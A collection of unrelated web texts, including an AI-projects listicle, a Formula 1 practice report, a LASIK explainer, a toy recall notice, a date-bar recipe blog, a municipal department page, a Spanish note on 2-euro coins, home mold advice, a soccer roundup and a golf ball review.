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10 Revolutionary Artificial Intelligence Projects
By Nathan Sykes on	 September 11, 2018 Artificial Intelligence, Guest posts, Tech, The Future of Science
Industries are adopting artificial intelligence and machine learning on a grand scale. Tech companies both big and small are working on artificial intelligence projects that will shape the future of industries such as healthcare, banking, business, education and more. We're not quite at the point where everything is automated and machine-run, but we're getting there. These technologies are all around us, quietly running in the background and keeping operations chugging along. AI is silently reshaping our society by affecting how we get things done, how we vote, how we purchase goods, and the choices we make.
It's likely you interacted with an AI-powered system at some point but didn't even know it. In a recent study, 37 percent of respondents said they had used an AI tool. Of those who said no, 63 percent had used it — they just weren't aware of it. As the technology becomes more sophisticated, that will become more prevalent. While some AI projects such as Google Brain and Microsoft's Cortana are well-known, there are a huge number of startups working on AI in the arts. If you thought AI was taking away business jobs, say hello now to AI artists and musicians. In fact, AI is even helping decode strange signals in the universe! Here are some revolutionary artificial intelligence projects that transforming the world around us.
10. Tesla
Self-driving and autonomous vehicles will be navigating our roadways before we know it. Just about every company out there, from Google to auto manufacturers like Ford and GM, are working on self-driving tech.
The standout, at least right now, is Tesla — thanks to their AutoPilot feature. You could even argue Tesla vehicles are some of the best ones ever made. One of the drivers of this sentiment is the AI and predictive capability of its self-driving system. While other providers are painstakingly working to get this technology on the road, Tesla has already achieved the unthinkable — it's out there, in consumers' hands, right now.
Every day, Tesla vehicles and the AI system grow smarter, thanks to a vast quantity of user and performance data and over-the-air updates.
9. Alexa
You didn't think we'd make a list like this without mentioning Amazon's Alexa at least once, did you? Sure, she's a voice assistant like any other when you break it down to basics, but what Amazon is doing with the platform really makes it stand out.
Amazon calls the structure of Alexa's AI platform "conversational AI," which allows the assistant to react and respond to queries more naturally. Of course, it seems like just about every tech firm out there is trying to deliver an assistant that's more human than ever before, so that alone is nothing unheard of.
Alexa is worth talking about because of how open the platform is, at least to skilled developers and other brands. Thanks to a robust API and incredible support for "Alexa skills" — a sort of add-in channel that allows you to add new apps to Alexa devices — the platform grows daily, even beyond what Amazon's official team of engineers are doing.
8. Netflix
Even just a few years ago, it would have been unheard of to think an entertainment company like Netflix would have their hand in the AI game. However, the company's efforts have helped foster one of the most complex and advanced machine learning tools in the modern market.
Netflix uses alarmingly accurate predictive measures to analyze and deliver more relevant viewer content. It does this by analyzing past behavior and viewed content, as well as customer reactions to films and shows. Every time you select that little "thumbs up" after watching something on Netflix, the AI registers the interaction.
As more customers use the platform and user profiles and data sets grow, the system becomes smarter and more accurate. That is the whole idea behind machine learning and cognitive AI systems: They are designed to become smarter and more skilled with time as they ingest larger stores of data. The takeaway here is that Netflix leverages the technology in some pretty inspiring ways.
7. Microsoft's Cortana
As you may well know, Microsoft's Cortana was born out of a need to compete with the likes of Google Assistant, Siri and Alexa. It powers a voice assistant that comes with nearly all modern Microsoft products. But the name is also a moniker for the company's large-scale AI engine.
Since its inception, Microsoft's developers have been working hard to optimize and improve the platform in varying ways. One of the most promising stems from Microsoft's acquisition of Semantic Machines, a relatively recent AI startup. The idea is to help establish a more accurate and intelligent assistant — like Cortana — who can respond naturally to humans. Semantic Machines will further this concept because their platforms rely on machine learning to help inform bots and drive customer interactions.
6. Google Brain
Formed back in 2010, Google Brain is a deep learning and AI research team at the major tech firm. Like most of Google's teams, they have a lot of freedom, which means they can adhere to whatever agenda they like. This flexibility results in some incredibly unique artificial intelligence projects.
Of course, it also powers the primary engine Google uses for most of its products, including Google Assistant — Google's answer to the likes of Alexa and Siri.
One of the most recent products or developments from Google Brain is Smart Reply, a quick messaging tool integrated into Gmail that helps automate common responses. It also works with text messaging apps through the Android mobile operating system.
5. AlphaGo
AlphaGo, believe it or not, is an offshoot of Google's DeepMind — another AI and machine learning project from the tech firm. More specifically, it's a computer program designed to play the board game Go. There are several variations, including AlphaGo Zero, AlphaGo Master, AlphaGo Lee and more.
In 2015, AlphaGo became one of the first computer programs in history to beat a human professional without any handicaps. The game also took place on a full-sized 19" x 19" board — which is, if you didn't know, unprecedented. The AI and its algorithms had to account for more board space than previous versions, which involved more moves and player outcomes.
It is remarkable because it shows how AI systems can compete with human efforts on a more even keel. It's proof AI will someday serve as a replacement — or augmentation — for human cognitive abilities.
4. Yelp
Like many of the companies on this list, Yelp is leveraging machine learning and AI to improve the experience of its user base. Where Yelp differs, however, is how they're specifically using AI to classify and categorize uploaded images better.
For a computer, it's difficult to analyze an image and discern whether it's inside an establishment or outside. But knowing this, and showing the right images, is integral to online review platforms like Yelp. So, they've employed machine learning to automate this process and provide much more practical reviews.
3. Pandora
Similar to Netflix, Pandora leverages AI to deliver a more relevant experience to its audience — they even refer to the platform as their musical DNA.
Through a wide variety of traits and characteristics, each track or piece of music on the platform gets analyzed, first by a group of professional musicians and audiophiles. It then gets custom tags, which help the AI deliver more targeted recommendations.
2. Edgecase
Previously named Compare Metrics, Edgecase is an e-commerce tool designed to help improve conversion rates through the power of machine learning. The goal is to provide a more relevant experience for online customers by using behavioral data and insights. Think of it as analogous to window shopping, only via online retailers. The platform helps people find results, even when they don't necessarily know exactly what they want.
Honestly, who wouldn't want to see casual browsing become more rewarding and accurate?
1. IBM's Watson
IBM's Watson is a cognitive AI and machine learning platform that is in use for a nearly endless stream of projects. If we were to list everything it's capable of, we'd be here all day. It's having a profound impact on banking and finance, online therapy and mental health, retail, marketing, and even customer service.
One of the most innovative uses is happening in the sports industry. The Toronto Raptors are using the platform to analyze and draft potential players based on existing skill gaps. It looks at the skills, talents, personality traits and character of current players, and uses this information to assess potential recruits.
The system then helps the team select ideal players during prospecting sessions. Recruiters enter the necessary details into the system during their observations. Later, it makes predictive suggestions for what players the team should pursue.
Artificial Intelligence Projects in the Arts
Apart from the examples listed above, innovators worldwide are working on artificial intelligence projects in music and art.
Melomics uses AI to compose music without any kind of human intervention. The software has produced over 1 billion songs already and has even put out entire albums! Listen to one of the tracks here.
Robbie Barrat's Stanford robot worked for two weeks to create an oil painting for Businessweek's AI special issue.
Researchers from the University of Tübingen have put together an online AI painter, DeepArt, that creates "Neural Art" based on photographs. You can upload a photo, choose a style and have a neural network create an image for you.
The French art collective Obvious has created an algorithm that can generate portraits of the 18th century. One of their portraits was sold to a Paris-based collector for €10,000.
An engineer based in Krakow created a robot called "Stanley" that can accompany his violin-playing on the piano.
Teotronica is an Italian based company that created a piano-playing robot. Here's a video of it playing Mozart:
AI Gets Smarter Every Day
This list represents a mere handful of the use cases for artificial intelligence and machine learning in the world today. The opportunity will only continue to grow into the future, as more companies and organizations look to implement the technology. Very soon, AI will be an inescapable part of our lives.
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Doohan had more nerves chasing Alpine seat than FP1 debut
By Scott Mitchell-Malm
Formula 1 free practice debutant Jack Doohan was more nervous lobbying for more opportunities within Alpine than he was actually driving its car at the Mexican Grand Prix.
Doohan drove in place of Esteban Ocon in FP1 at the Autodromo Hermanos Rodriguez and will do the same in Fernando Alonso's car in Abu Dhabi next month.
He is fulfilling Alpine's 'rookie driver' requirement for two Friday practice sessions, an opportunity that should have gone to Oscar Piastri before his controversial exit from the team was agreed.
When Piastri's rift with the team emerged at the start of the summer break, Doohan emerged as a potential alternative for a race drive at Alpine next year to replace Aston Martin-bound Fernando Alonso and actively pitched himself to the team as well.
Although Alpine eventually picked Pierre Gasly, it is clear Doohan has succeeded Piastri as the 'next-in-line' talent from the Alpine young driver programme, from the 2022 car outings to an enhanced 2021 car testing schedule.
Doohan said the process of getting into the position was more daunting than driving the car itself.
"There's been quite a bit of prep leading up to this, and I've been preparing myself trying to make my way into this paddock since the news broke at the start of August, and I've been aiming towards this," said Doohan on Friday in Mexico.
"So, the nerves that I'd say usually would be from jumping from Formula 2 to Formula 1 and it being such a big thing were a little bit less, just because I was trying to put myself in a position where this is where I want to be.
"I want to be driving in Formula 1. I'd say there were more nerves four weeks ago than there were today.
"Obviously, when I hopped in the car, and I was pulling out of the garage, there was a lot of excitement, a lot of joy, heaps of emotions going on.
"Once I was out on track, that all really kind of flushed away.
"It was hard to describe really what I was feeling, but it was a really cool sensation."
Doohan had driven the 2022 car prior to this outing as he completed a filming day at Monza.
He said that gave him an idea of how it was heavier and lazier than the 2021 car he has driven in various private tests but the unique conditions in Mexico meant his FP1 outing was tricky.
Why Alpine thinks Gasly's a better fit than Alonso or Piastri
Doohan was on a hiding to nothing in terms of headline laptimes as his programme was purely to stay on one set of hard tyres for the entire session and complete a valuable run plan for the team.
Unfortunately for him, this was derailed by an engine issue that set in towards the end of his first run and returned when his second run was starting. He did not return to the track after a late red flag, which meant he only completed 13 laps.
"I'm happy in a way, not for my running, but that we found this issue now, instead of happening later in the weekend that potentially could have affected us to score points," said Doohan.
He had equipped himself well in the circumstances, though. The first run was about building up tyre temperature and confidence in the car with some flexibility in his run plan to react to how he felt.
There was little in the way of feedback beyond pushing the braking zone harder in Turn 4 and tidying up his at-times wayward runs through the Esses, although he complained about the car's ride quality over some of the kerbs.
Ultimately, there is nothing significant to judge Doohan on, beyond the fact he was performing professionally and competently – and adhering to a joking warning from Ocon not to crash his car.
"When he last left his car for an FP1 I think it was here in Mexico, in 2017, and the driver [Alfonso Celis Jr] that he let drive his car, put it in the wall in Turn 13," said Doohan.
"And so from last weekend, he was like, 'Do not crash my car'.
"Honestly, every time I came out, exit of Turn 13, and through 14, I had Esteban in my head going, 'Do not crash this car'.
"So, I'd just roll it in, not braking, super easy, keep it like five meters from the exit kerb – just very easy!
"So, hopefully, he can take that into consideration that I kept his car clean."
There were moments of mild excitement for Doohan, in particular on his second lap when he had quite a wild kick heading into the sweeps in the middle sector. His sheepish grin when The Race put this to him suggests not many people had noticed this.
"That was a little much for what I was liking at that point in time!" he said.
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"And it was an area that I was driving super under the limit. If I was wanting to extract laptime, which I wasn't, as I was doing the whole session on the hard and we were doing sustainable running, I was supposed to be taking it very easy.
"I felt for the grip level it just caught me a little bit off guard, and I had that moment.
"I thought I'd take it a little bit easier through there next lap."
Given the likes of Alonso, Max Verstappen and Charles Leclerc had their own moments to varying degrees of severity, Doohan can be afforded such minor slips.
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LASIK surgery is a laser vision correction procedure that is widely performed in the US. While there are other laser procedures used to correct refractive errors, LASIK is the most popular. It has been available in the US since the 1990's, and is regularly used to remedy vision problems such as astigmatism, farsightedness, and nearsightedness.
LASIK surgery corrects vision problems that are the result of an abnormally shaped cornea or eyeball. After surgery, most patients either don't need to wear their contact lenses or eyeglasses anymore, or they are less dependent on them.
Surgery involves the use of the excimer laser to create a thin flap of tissue on the cornea. The flap is then folded backwards, so that the laser energy can penetrate the cornea. As it does so, it reshapes the cornea and corrects the refractive error.
LASIK surgery is a very safe and effective laser correction procedure. The total treatment time is 15 minutes on average, which makes it a very convenient option. The procedure is done on an outpatient basis.
While LASIK is often recommended for vision problems, PRK and EpiLASE are also performed. PRK surgery does not require the creation of a corneal flap, but instead the outer layer of the cornea known as the epithelium, isremoved. This is done manually, or with the use of alcohol. After it is removed, a laser is used to reshape the cornea in a similar manner to LASIK surgery.
In this laser vision correction procedure a very thin layer or sheet of surface cells are created using the epithelium. The sheet is thrown away, and the laser is then used to reshape the cornea.
The procedure chosen by the ophthalmologist, will be the one that is best able to achieve the desired outcome.


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Pop Up Phone Recalled Antenna Is Choking Hazard
Pop Up Phone Recalled; Antenna Is Choking Hazard
Release # 88-099
WASHINGTON, DC - "Pop Up Answer Phone" model #1808-0, a Larami pre-school toy, is being recalled by the manufacturer because an antenna piece may separate from the toy telephone receiver and cause a potential choking hazard for young children. Larami Corporation, of Philadelphia, PA is recalling 20,000 of the toy telephones sold nationwide in 1987 for about $10.
The plastic "Pop Up Answer Phone" consists of a six-by-eight-inch red and white base and a blue receiver. Adhesive labels on both the base and receiver identify the toy as "Pop Up Answer Phone." The model number 1808-0 appears on the package but not on the toy itself.
An inch-and-a-half long plastic antenna projects from the top of the telephone receivers. Twelve red push buttons are located on the base of the toy; when the buttons are pushed, small cards pop up through slots on the base. A roller directory is found at the top of the base.
The same toy phone manufactured by Larami but identified with an adhesive red dot on the telephone receiver and on the front of the package is not affected by this recall.
Parents having model #1808-0 "Pop Up Answer Phone" not marked with a red dot should immediately take the toy away from young children and return it to the store where purchased for a refund of the full purchase price, or mail the toy to Larami Corporation, 340 North 12th Street, Philadelphia, Pa. 19107.
OSPIRG, the Oregon State Public Interest Research Group brought this toy to the attention of the U.S. Consumer Product Safety Commission (CPSC).
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The U.S. Consumer Product Safety Commission (CPSC) is charged with protecting the public from unreasonable risks of injury or death associated with the use of thousands of types of consumer products. Deaths, injuries, and property damage from consumer product incidents cost the nation more than $1 trillion annually. CPSC's work to ensure the safety of consumer products has contributed to a decline in the rate of deaths and injuries associated with consumer products over the past 40 years.
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KTDY Office Lunch From Deano's & Piggly Wiggly Returns!
KTDY Office Lunch From Deano's & Piggly Wiggly Returns For 2017!
The KTDY Office Lunch, from Deano's Pizza & Piggly Wiggly in Scott is back! It's whatever you choose for lunch (a $75.00 value) from Deano's Pizza, and a custom floral arrangement ($50.00 value) from Piggly Wiggly in Scott! Deano's is home to the Pizza Burger, Muffaletta Pizza Pie, Fried Oreos, and more delicious, unique specialties. We'll draw the first name this afternoon on the All Request Lunch, between noon & 1. E-mail me, steve@999ktdy.com. Include your name and place of employment. You can also enter a friend. We'll draw the first name on Thursday, Jan. 12th. You don't have to wait 'til then to enter. Join me for the All Request Lunch on Thursdays. If I call your name, call me at 237-KTDY (5839) within 9 minutes, 99 seconds and you win!


Back to the grind, right everyone? I hope that you had a good weekend to last you through the week! We did pretty alright. On Friday night, we went to a dinner hosted by the Super(Duper)Market with Paper Magazine. It was great to meet a bunch of new people and walk around the event – the food wasn't half bad, either. My favorite thing were the new potatoes with trout roe and dill, followed closely by the dessert, believe it or not. Kramer had his first fresh apricot Friday night, too, so I'll put a check mark in the 'win' column for him. The portions were teeny tiny, though (as they always are at events), so of course we grabbed a slice on our way home to eat while we watched Louie and Wilfred. On Saturday, we grabbed some meats and cheeses and had some friends over to pseudo-celebrate Bastille Day. I never really considered it to be a holiday celebrated at all in America, but I suppose that everything gets celebrated in New York, so there is always something going on, even on Bastille Day. We hit up a few bars and grabbed dinner at M. Noodle, one of my favorites. Sunday, we did some cooking, watched a movie, and then, of course, went to our friend Morgan's apartment to gather 'round for Breaking Bad. What a good show. I can't wait for next week's episode.
While we wait, though, I guess I will share a recipe with you. I made these the other weekend when I wanted to bake, but I also wanted to clean out my pantry a bit. I bought some Medjool dates for a party but never ended up using them, so there they sat in the back of my cupboard for a little while. I wanted to make something that would really let them shine, but also wanted to use a similarly forgotten container of pecans, but I figured the dates could use something crunchy, so no problem there. Bars are perfect for a quick treat because there's no rolling out dough, or scooping out anything, or really much work at all. You just beat everything together, press it into a pan, and let it bake. These Date & Nut Bars ended up being just what I wanted: slightly sweet, gooey, chewy, and honestly, pretty filling. I brought them into work on a Monday and I think most people enjoyed them for breakfast alongside their coffee or tea, and later on, as a little bite before heading home. I think that they tasted like baked oatmeal, especially if warmed up briefly in the microwave, so be sure to give that a try. You can really use any dried fruit you like in these – they're as versatile as they are delicious.
Remove the pits from your dates, then chop both them and your pecans.
Beat together your eggs, brown sugar, and vanilla, then mix in the flour, salt, and baking powder until just moistened.
Fold in your dates, nuts, and raisins.
Press your batter into a 9×13-inch pan and bake at 375 degrees F for 30-35 minutes or so, until golden and firm.
Slice and enjoy for breakfast or as a snack.
Chewy breakfast bars packed with Medjool dates, pecans, and golden raisins.
Preheat your oven to 375 degrees F. In the bowl of your mixer, beat together the brown sugar, eggs, vanilla, and orange zest. In a separate bowl, mix together the flour, salt, and baking powder. Gradually add the dry mixture to the wet, mixing until just moistened and scraping down the sides of the bowl as necessary.
Fold in the pecans, dates, and raisins. Line a 9x13-inch baking pan with parchment paper or foil, and spray lightly with non-stick spray. Use your hands to press the dough into the pan, then bake for 30-35 minutes, until golden and firm. If the bars start to brown too quickly in the oven, cover the top of the pan with foil and continue to bake.
Allow the bars to cool completely before slicing and serving. These will keep well in an airtight container at room temperature for up to 5 days.
Mmm, I absolutely adore dates. These bars are right up my alley!
Hi Sydney! I really have to make these ,they look delicious. What do you think would be a good replacement for the raisins? Maybe some dried cranberries? But I do love dates! Have a great day!
Definitely dried cranberries! Or cherries.
This looks really good, and I love that it doesn't have butter in it. While I love making recipes that call for tons of butter, I also like a break from it. I'll have to give these a try. I don't watch Breaking Bad, but I'm totally addicted to The Newsroom.
Mmm, dates are so good, I love how they turn so gooey and sticky. These sound like a real treat!
I definitely don't get a chance to eat dates as much as I'd like to so you know I'll be making these ASAP!
I`ve never even had dates before! Aha.
It sounds like you had so much fun. Are you sure you`re a homebody?! You`re always going out!


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The department of Corporate Services is politically led by Portfolio Head Councillor Bandile Nqodi and administratively led by Sandile Matubatuba. The department focuses on the following sections: Administration and Auxiliary Services , Human Resource Management & Development, Skills Development Facilitation, Information & Communication Technology (ICT) as well as managing administration of two municipal satellite offices situated in Mount Fletcher and Ugie. The Director is assisted in managing the department by three managers, namely: Manager Human Resource and Development- Pumza Dumalisile Manager Administration - Moleboheng Ramarou and Manager Information & Communication Technology - Athini Bantwini.
Objectives of corporate services
To provide effective and efficient administrative support to the municipality
To ensure alignment of the organisational structure with the overall objectives and the strategic direction of the municipality
To create a pool of relevant skills and develop the municipality into a learning institution
To promote the existence of sound labour relations and ensure general health and safety environment at the workplace;
To provide reliable and secure ICT services within Elundini Local Municipality
Departmental Key Performing Areas
Policy formulation and Review
Administrative and Auxiliary Support Services
Human Resource Management & Development of staff;
Providing a reliable and sustainable ICT environment
Recruitment and selection of right people for the right jobs as encapsulated in the municipality's staff establishment in order to ensure that Integrated Development Plan objectives are met. The section also ensures that the recruited employees are remunerated correctly in line with the applicable legislation and collective agreements through its payroll office.
The section also manages Employee wellness including, commemoration of wellness days, awareness on diseases and/or dangers of drug abuse while on the other hand providing assistance to affected employees
The section, through its employee relations wing facilitates compliance with Occupational Health and Safety Act by ensuring that there are functional SHE representatives and Health and Safety Committee.
This section coordinates the processes of ensuring that discipline is maintained by all employees in the institution and to ensure that grievances are resolved before they turn into disputes. It further has a duty to defend the employer's interest in the instances where there are labour related disputes at the SALGC, CCMA and or labour court.
The section ensures compliance with section 66 of the Local Government: Municipal Systems Act 32 of 2000 by ensuring that each and every position that is in the staff establishment has a job description and that the job descriptions are evaluated
Individual Performance Management
The section deals with the cascading of performance management system to all levels within the municipality's staff establishment by facilitating that performance agreements be concluded on an annual basis and that performance reviews be conducted on a quarterly, bi-annual and annual basis and to appraise good performance while on the other hand develops those who fall short in terms of meeting their set objectives.
Conditions of Services, Benefits and Remuneration
Managing the conditions of services, fringe benefits and remuneration of staff in line with the applicable collective agreements.
Managing the career development of staff, keeping abreast with developments in the sector and government at large so as to ensure that the municipal policies are geared towards retaining and attracting good talent to ensure quality services are delivered to the communities of Elundini.
Skills Development, Training and Employment Equity
The Skills development and Employment Equity function of Elundini Local Municipality The Skills Development Act, SAQA Act and Employment Equity Act while also conforming to the regulations stipulated in the Basic Conditions of Employment Act, Labour Relations Act and the Constitution of South Africa. The aim is to ensure that the municipality capitalises on its skills development budget and the Skills Development Levy it pays over to the South African Revenue Services by submitting the Workplace Skills Plan to the Local Government SETA in order to access grants for skills development. Therefore the function, among many of its aspects: Promotes planned approaches toward improving the competence and productivity of our workforce. Establishes quality control mechanisms in terms of training outcomes. Create skills labour pools for future employment. Access learnership funding, including learnership allowance for the unemployed. Develops and Implement an Employment Equity Plan to ensure the eradication of all forms of discrimination in terms of employment policies. Initiates steps that will encourage Council to implement programmes to accelerate the training and promotion of historically disadvantaged employees, in order to deliver quality service.
Provision of ICT support and services
Improved systems and infrastructure;
Provide the Network security;
Promote the access to municipal services through the use of Information and Communication Technology
Ensure that the relevant systems are in place;
Ensure that all the systems are Integrated into one IT-based systems;
Ensure that there is IT strategy, policies and procedures in place;
Ensure that the IT Risk management procedures are in place;
Provide the connectivity to the Municipality
The section is divided into the following units;
Registry is the central office that manages all the records of the Municipality
Provides secretarial support to Council and its Committees, thereby implementing its activities in line with its roster of meetings, thereby adhering to the policies that regulate such activities.
Provides the municipality with office space management, Cleaning services and Security services.
Satellite Offices
The two satellite offices are located in the Mt Fletcher and Ugie towns.
The main functions being the execution of personnel administrative functions relating to staff leave and overtime claims which extends to employee wellness and safety.
To provide responsive, accurate and reliable customer service in line with community expectations and Council's Vision and Mission.
To proactively participate in the day to day functions of the Municipality by ensuring that it maintains and continually enhances its performance in providing excellence in customer service.
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Las monedas de 2 euros son monedas bimetálicas acuñadas por los Estados miembros de la Eurozona como moneda de curso legal en dichos países, están formadas por una zona interior de níquel revestido en níquel-latón y una zona exterior de cuproníquel. Tienen un diámetro de 25,75 mm, un grosor de 2,20 mm y un peso de 8,50 gramos. Su borde es estriado fino con una inscripción grabada propia de cada nación. Todas las monedas tienen una cara común (la cual cambió en 2007 con respecto a la original) y una cara nacional específica de cada país.

Algunas monedas de 2 euros no se destinan a la circulación, sino al público coleccionistas. Así, cada país participante en el sistema del euro tiene derecho a emitir dos monedas conmemorativas de 2 € por año. En ellas se ilustran efemérides o acontecimientos históricos relevantes. Luc Luycx, empleado de la Casa de la Moneda Real Bélgica, fue el ensayador designado, tras ganar el concurso para el diseño de las caras comunes de las monedas de euro en 1997.

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Véase también

 Euro
 Eurozona
 Monedas conmemorativas de 2 euros

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Molds are microscopic organisms that can be found everywhere in the environment. They can be found both inside and out, but are most prevalent in moist conditions. Mold grows on plants, foods, leaves, and other organic material. Mold produces spores that travel through the air and can get into your house.
Where Does Mold Grow Inside the Home?
Molds thrive where they can find sources of water, food, and physical space. This includes areas that are moist from flooding, plumbing leaks, roof leaks, showers and bathtubs, refrigerator water pans, clothes dryers that are not vented to the outside, or water found in houseplants. Basements, attics and crawl spaces are common locations for mold to thrive.
Mold spores are released into the air, travel inside the home where they may begin to grow and reproduce and are inhaled by occupants. Most molds are not dangerous and only cause allergenic symptoms in humans. Symptoms include: congestion (nasal and sinus), respiratory problems (wheezing, breathing difficulty), burning eyes, blurred vision, sore throat and irritation, possible fever. Cognitive thinking problems have also been linked to mold in homes. Those with asthma or allergies and people with weakened immune systems (children, elderly, pregnant women, cancer or AIDS patients) will have more difficulty coping with mold. Stachybotrys, a toxic mold, has a possible link to infant hemorrhage.
Not all molds are dangerous; however, it is essential to determine if the mold in your home is toxic. USA Today, Dateline, and many other media sources have revealed the increasing alarm about this health problem.
What are the Different Types of Molds?
Allergenic molds are the most common types and cause allergenic symptoms.
Mycotoxic molds are toxic to humans and can inhibit or prevent growth of other organisms. Mycotoxins are found in residential homes and commercial buildings and will cause anything from basic irritation to immunosuppressant, cancer or death.
Pathogenic molds cause serious health effects in persons with suppressed immune systems (those taking chemotherapy, infected with HIV/AIDS or other auto-immunity disorders).
As far as species are concerned, there are thousands. Some of the most commonly found molds in homes are: Cladosporium (allergenic mold), Penicillium (mostly allergenic, some species mycotoxic), Aspergillums (mostly allergenic, some species mycotoxic), and Alternaria (mostly allergenic, some species mycotoxic).
How Do I determine if the Mold is Toxic?
It is impossible for people to distinguish between toxic and benign molds just by looking. A professional sample must be taken and sent to a mold laboratory for analysis. If you find mold in your home, it is best to have it tested. Be especially wary of blackish molds. However, it is not necessary to have common "bathroom" mildew tested. Bathroom mildew can usually be cleaned with bleach, does not require a food source (but does require water), and is not toxic.
CO is a colorless, odorless, toxic gas. It is produced by the incomplete combustion of solid, liquid and gaseous fuels. Appliances fueled with gas, oil, kerosene, or wood may produce CO. If such appliances are not installed, maintained, and used properly, CO may accumulate to dangerous levels.
Where the detector should be installed?
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Pancakes…. from? A little fun guess video!
Because, well, there was no way we could fit everything INSIDE… and even so, we were lucky all the officials we meet on our way, including the ones at the border were really nice and did not ask to unload everything to get it checked!
Thank you all for your lovely support, for sharing and for ordering our album last week, it still decreased the volume we had to carry!
And now? Well, we are excited about finishing to settle and get back to real stuff, well, to music!
3 Reasons to get our album *now*!
You can get it now for 10€ or 13.50$ or £8.35 Price will increase once we get to Greece, mainly because of international shipping costs being much higher there. You know it now!
Isn't it Christmas time already? Avoid the last minute rush, get this perfect gift now, we can send it to any person you would like to treat, and add a special note from your behalf, just specify it when you order. Bonus: it will be wrapped in a nice colour paper!
Please help us and share around within your own community using the network little links bellow, the deadline is next Monday, December the 2nd 2013 !
How to fit a music studio AND an art studio in a car?
Dear followers, if you're used to read our diary between the lines, we have given a couple of clues already about our next destination.
This is one of the view that will inspire our upcoming projects and sounds, and actually we already composed/discussed/wrote many things from that particular place (if you want to share the feeling with us, you can check here on Google maps). Expect loads of pictures from Greece in next months!
So, how do we fit an art studio + a music studio above the usual staff in a car? Well… we don't really know yet!
How to fit an art studio and a music studio in a car?
Because yes, we are moving with our car, Kavala is only about 450 km from Istanbul.
Help us with this campaign, share around with your friends and family, within your communities, by any way you prefer (over-use the social links bellow!) ! Only valid for one week! Then, we'll come back to that later, we'll have anyway to raise prices anyway, international shipping is much more expensive from Greece than from Turkey.
Very colourful again, even if at the moment you'll only see it threw your screen, it will complete your music experience. The painting is an evocation of the Greek Goddess of the Sea Tethys, which will be perfect to go along with the second song of the EP inspired by a circle dance rhythm from the Karpatos islands.
Music will be released next Friday, 4 long tracks (about 25 min all together!) and available for download directly here, also on our bandcamp page and on our Android app. Yes! We'll have our android app! How cool is that?
As we already mentioned it recently a couple of times, our quest to find our ideal booking agent started ! Apart from a more "conventional" search, we got the idea for an advert campaign while brainstorming.
If you want to support us, you can spread the word by sharing around you !
And, as you have seen, it's only "episode 1" – of course we have more to come !
Since we are at the moment focussed on getting a Booking agent (see video >here<), we started to shoot a couple of videos… more to come very soon !


The New York Cosmos' (31 pts Fall, 49 pts Combined) unbeaten streak came to screeching halt on Saturday night thanks to a 3-0 dismissal by Indy Eleven (27 pts, 45 pts). Coupled with FC Edmonton's (26 pts, 43 pts) 1-0 loss to the Carolina RailHawks (19 pts, 33 pts), the result lifts Indy into second in the Fall Season and combined standings and cuts New York's lead to just four points with six matches remaining.
Minnesota United FC (20 pts, 36 pts) found itself as the losing side in a matchup with Ottawa Fury FC (20 pts, 29 pts) for the second straight week. The Tampa Bay Rowdies (19 pts, 35 pts) capitalized on Minnesota's stumble by dispatching the Fort Lauderdale Strikers (17 pts, 32 pts) 4-1 to pull within one point of the Loons for the fourth playoff spot in combined standings.
With the memory of their 3-0 loss to the Cosmos a few weeks ago in New York lingering, Indy came out at home and ran over the Cosmos to win with an identical scoreline on Saturday. Forward Justin Braun gave Indy a lead in the 32nd minute when he rose to head a ball that skipped off the turf after an initial header from Eamon Zayed.
Indy put the match out of reach for the Cosmos in a five-minute span early in the second half. Zayed got on the scoresheet with one-touch finish off a pass from Dylan Mares. A turnover by the Cosmos at midfield a few minutes later gifted Indy with a counter attack that was capped off by a strike from Mares at the edge of the box that beat Jimmy Maurer.
Fort Lauderdale struck the first blow in the final matchup in this year's Florida Derby, but it was Tampa Bay who delivered the knockout punch. The Strikers' lone goal came in the fourth minute, as Ramon Nunez slipped behind the back line to intercept an errant strike from his teammate Kleberson and slip a shot by Matt Pickens.
The Rowdies absorbed the goal and took hold of the match with a finish from Georgi Hristov just 10 minutes later after Joe Cole delivered a pin-point cross to the far post for the Bulgarian. Tommy Heinemann then gave the Rowdies the lead in the 36th minute when he ran onto a through ball from Justin Chavez and chipped the ball over a sliding Bruno.
Hristov went on to record two more through rebound opportunities. He pounced on a rebound off an initial shot from Darnell King shortly before the halftime break and did the same off a shot from Carlos Preciado in the 84th minute to complete the hat trick.
With revenge squarely on the mind of Minnesota, Ottawa still found a way to record another win — and three-goal performance. Like last week's match, the night started positively for the Loons, who finished the first half with a 1-0 lead thanks to a goal from Jamie Watson after he finished his own rebound.
After a quick restart at midfield in the 56th minute, Ottawa charged down the field and found an equalizer through Giuseppe Gentile. Déjà vu officially set in for Minnesota in 82nd minute as Ottawa rallied with two goals in five minutes to claim all three points. Ryan Williams grabbed the first goal when he benefited from a deflection off Brent Kallman and fired a shot into the back of the net. Lance Rozeboom then sealed the result when he was left totally unmarked in front of goal.
Carolina's scoreless streak ended at 356 minutes on Saturday night when they found a way to break down the sturdy Edmonton back line in the 34th minute. Matt Fondy sent in a cross for his attacking partner Omar Bravo, who chested the ball down for Austin Da Luz to slip a shot across the line. The goal proved enough to get past the Eddies, who are now winless in their last six matches and have failed to tally a goal in 388 minutes of play.
Jacksonville jumped out to a lead at home in the 20th minute as Charles Eloundou tallied a goal for the third straight match. Eloundou did well to find the back of the net, dispossessing Futty Danso near the halfway line and sprinting toward the final third before firing a long-range shot past Daniel Fernandes.
Eloundou's goal appeared to be enough to carry Jacksonville until the third minute of stoppage time in the second half. Defender Tyler Ruthven was whistled for sticking his foot in to stop Danso inside the box and Michel stepped to the spot for the second straight week to secure a late equalizer for Rayo OKC.
Miami promoted "Boricua Fest" for Friday's match in honor of their Caribbean guests, and the visitors took the opportunity to nick a win. An unfortunate deflection off Pablo Campos from a free kick by Jackie Marrero gave Puerto Rico the necessary goal to record their first ever road win. Miami's surge up the table has stalled as the expansion side has now dropped their last two matches.


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Hot New Golf Balls
Four new balls are making a splash
By Ryan M. Noll
Srixon Z-Star Yellow Tour
In what could be the biggest surprise hit of 2010 (if not the last few years), the new Z-Star (and Z-Star X) Tour Yellow quickly has become one of the most coveted golf balls worldwide. So much that it has even surprised the folks at Srixon who set out to make a yellow multilayer golf ball that had a urethane cover and Tour-proven distance and control. Why did they do it? Simple. Yellow is the easiest color to see, and according to Srixon, the yellow-greenish color is more pleasing to the eye and makes the golfer feel more relaxed over the ball. Srixon staff players seem to agree–many have already put this yellow ball in play. Look for it on the shelves at your local golf shop this April. (Although we suggest you request a few sleeves in advance. They'll go fast.)
Construction: 4-piece multilayer
Cover: Urethane, 324-dimple Invisiseam pattern
Performance: Designed for more distance off the tee, but with a high level of spin around the greens. Z-Star Tour X is slightly longer and has a firmer feel. As for the coloring, we absolutely love it. $39/doz.
Callaway HX Bite
